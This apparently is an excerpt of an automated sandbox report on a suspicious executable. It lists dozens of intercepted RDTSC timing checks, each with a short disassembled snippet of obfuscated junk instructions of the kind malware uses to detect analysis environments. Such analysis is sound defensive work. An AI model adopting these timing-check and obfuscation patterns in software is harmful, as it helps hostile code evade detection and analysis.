Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2999F second address: C299A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C29A61 second address: C29A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2B590 second address: C2B59A instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC30B390CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2A225 second address: C2A22E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2A22E second address: C2A232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2B59A second address: C2B5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEC30BFF4E8h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2A232 second address: C2A236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2D725 second address: C2D729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2EF98 second address: C2EF9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2EF9C second address: C2EFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30BFF4E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FEC30BFF4D8h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2EFC6 second address: C2EFD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2EFD8 second address: C2EFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2BDA5 second address: C2BDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2F703 second address: C2F70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEC30BFF4D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C30234 second address: C3023A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3023A second address: C302A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30BFF4E6h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 cld 0x00000011 push 00000000h 0x00000013 js 00007FEC30BFF4D6h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007FEC30BFF4D8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 call 00007FEC30BFF4E3h 0x0000003a pop edi 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e jg 00007FEC30BFF4D8h 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C35AE6 second address: C35AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C379E6 second address: C379F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEC30BFF4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C379F0 second address: C379F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C379F5 second address: C37A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FEC30BFF4DCh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C37A0B second address: C37A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C388D6 second address: C388DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C388DD second address: C38915 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 nop 0x00000013 or dword ptr [ebp+1244A025h], edi 0x00000019 mov bx, C093h 0x0000001d push 00000000h 0x0000001f mov bx, dx 0x00000022 mov bx, cx 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D1CE9h], ecx 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C38915 second address: C38919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3B987 second address: C3B98C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3B98C second address: C3B9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEC30BFF4E1h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3F8A6 second address: C3F8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3F8AB second address: C3F8B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3F8B1 second address: C3F8F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FEC30B390C8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov di, 2BDEh 0x00000029 push 00000000h 0x0000002b sbb bh, 00000033h 0x0000002e push 00000000h 0x00000030 xchg eax, esi 0x00000031 jng 00007FEC30B390D8h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3F8F6 second address: C3F8FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3F8FA second address: C3F8FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3F8FE second address: C3F919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FEC30BFF4DFh 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C43810 second address: C43841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, dword ptr [ebp+122D17D3h] 0x00000011 push 00000000h 0x00000013 and bl, FFFFFFB2h 0x00000016 push 00000000h 0x00000018 je 00007FEC30B390CCh 0x0000001e or edi, dword ptr [ebp+122D3BF7h] 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FEC30B390CAh 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C43841 second address: C43875 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEC30BFF4EEh 0x00000008 jmp 00007FEC30BFF4E8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push edi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEC30BFF4DAh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C4B101 second address: C4B107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C4B107 second address: C4B10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C4B10C second address: C4B118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FEC30B390C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C4B118 second address: C4B11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C4B2CB second address: C4B2DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30B390CFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C36B7D second address: C36B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3C97A second address: C3C982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3C982 second address: C3C988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3C988 second address: C3C9B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FEC30B390D8h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3EA01 second address: C3EA8F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEC30BFF4D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FEC30BFF4D8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 adc bx, 56A8h 0x0000002c push dword ptr fs:[00000000h] 0x00000033 mov edi, edx 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FEC30BFF4D8h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 0000001Bh 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 add di, 2CCDh 0x0000005b mov eax, dword ptr [ebp+122D05E1h] 0x00000061 sbb edi, 54F9C3BAh 0x00000067 push FFFFFFFFh 0x00000069 sub dword ptr [ebp+122D369Ah], esi 0x0000006f push eax 0x00000070 push eax 0x00000071 jl 00007FEC30BFF4DCh 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3DA51 second address: C3DA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30B390D8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C40A95 second address: C40AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEC30BFF4DAh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C40B90 second address: C40B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C43A53 second address: C43A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50A19 second address: C50A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C43A57 second address: C43A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50A1E second address: C50A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FEC30B390C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50ACB second address: C50AFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f jmp 00007FEC30BFF4E9h 0x00000014 pop esi 0x00000015 mov eax, dword ptr [eax] 0x00000017 push esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50AFA second address: C50B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30B390D5h 0x00000009 popad 0x0000000a pop esi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jo 00007FEC30B390CEh 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50C8F second address: C50CA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50CA1 second address: C50CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FEC30B390C8h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50CC3 second address: C50CC8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50CC8 second address: C50CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50CD7 second address: C50D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FEC30BFF4E0h 0x0000000d ja 00007FEC30BFF4D6h 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [eax] 0x00000017 push esi 0x00000018 push ebx 0x00000019 jns 00007FEC30BFF4D6h 0x0000001f pop ebx 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50D0C second address: C50D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C50D11 second address: C50D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30BFF4E1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C55359 second address: C5535D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C55495 second address: C55499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C555F5 second address: C555FF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC30B390C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C558DA second address: C558F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FEC30BFF4D6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FEC30BFF4D6h 0x00000014 jnp 00007FEC30BFF4D6h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C55B70 second address: C55B95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D2h 0x00000007 jnl 00007FEC30B390C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5B256 second address: C5B25B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5B25B second address: C5B280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30B390D3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FEC30B390D0h 0x00000012 push eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59EDB second address: C59EEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC30BFF4DBh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59EEE second address: C59EF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5A04E second address: C5A057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5A057 second address: C5A05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59BB7 second address: C59BD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEC30BFF4E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59BD3 second address: C59BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FEC30B390C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59BDF second address: C59BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
